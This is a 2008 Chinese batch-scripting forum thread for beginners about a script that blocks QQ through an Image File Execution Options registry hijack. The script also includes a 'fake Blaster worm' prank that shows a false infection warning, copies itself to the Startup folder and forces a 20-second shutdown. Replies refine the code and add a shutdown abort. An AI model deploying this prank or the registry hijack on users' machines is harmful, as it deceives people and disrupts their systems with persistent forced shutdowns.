标题: [其他] 一个简单禁止QQ运行的批处理,供新手研究!高手跳过 [打印本页]
作者: AK47 时间: 2008-10-10 09:35 标题: 一个简单禁止QQ运行的批处理,供新手研究!高手跳过
这个是一个很简单的一个批处理,专供新手研究!高手跳过!- @echo off
- echo.
- echo 支持原创!!!欢迎盗版!!!(待续……)
- echo.
- echo ==================================================================
- echo 作者:AK47 QQ:812263357
- echo ==================================================================
- echo a:禁止QQ运行!
- echo b:恢复QQ运行!
- echo c:仿冲击波病毒!
- set /p s=
- if "%s%" equ "a" goto a
- if "%s%" equ "b" goto b
- if "%s%" equ "c" goto c
- goto end
- :a
- reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v debugger /t reg_sz /d debugfile.exe /f &goto end
- :b
- @reg delete "hklm\software\microsoft\windows nt\currentversion\image file execution options\qq.exe" /f &goto end
- :c
- msg %username% 你的电脑已中冲击波病毒,系统将在20秒内关机!
- @copy a.bat "%userprofile%\「开始」菜单\程序\启动\"
- shutdown -s -t 20
- :end
- pause>nul
复制代码
作者: AK47 时间: 2008-10-10 10:20
2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!
作者: AK47 时间: 2008-10-10 10:23
不管是什么代码,只要不是恶意代码就行,新手要学会看懂别人的代码,每天学一个简单的批处理,慢慢进阶成高手
作者: wxcute 时间: 2008-10-10 12:04
shutdown -s -t 20
如 2 楼所说,可在上面这句后加两句
ping -n 11 127.1>nul
shutdown -a
以免测试者真正被关机。
[ 本帖最后由 wxcute 于 2008-10-10 13:25 编辑 ]
作者: Batcher 时间: 2008-10-10 13:20
三个if这样写不好
建议用if...else...代替
作者: AK47 时间: 2008-10-10 17:16
原帖由 Batcher 于 2008-10-10 13:20 发表
三个if这样写不好
建议用if...else...代替
我上面这个批处理用if……else…怎样写,还请指教
作者: yslyxqysl 时间: 2008-10-10 18:30
if "%s%"=="a" goto a
if "%s%"=="b" (goto b) else goto c
作者: qq641255849 时间: 2008-10-10 18:49
- set /p cho=
- for %%i in (a b c) do (if %%i equ %cho% (goto :%%i))
复制代码
作者: SmallK 时间: 2008-10-11 02:28
原帖由 AK47 于 2008-10-10 10:20 发表
2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!
批处理本身可以用变量“%0”。
作者: SmallK 时间: 2008-10-11 02:34
@reg delete "hklm\software\microsoft\windows nt\currentversion\image file
@copy a.bat "%userprofile%\「开始」菜单\程序\启动\"
似乎很多人都会在P中添加一些没用的“@”符号……
其实这里只有在末尾加“>nul”才有效果。
[ 本帖最后由 SmallK 于 2008-10-11 02:36 编辑 ]
作者: AK47 时间: 2008-10-11 16:05
原帖由 SmallK 于 2008-10-11 02:28 发表
批处理本身可以用变量“%0”。
这个不是很懂,可以说清楚点吗?
作者: qq641255849 时间: 2008-10-11 17:01
试过复制代码
你就清楚了.
作者: SmallK 时间: 2008-10-19 00:30
楼上的代码会陷入死循环的!最后导致死机!!!不要误导别人!!!
作者: wangtao6312 时间: 2012-4-17 13:15
你的电脑已中冲击波病毒,系统将在20秒内关机!
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |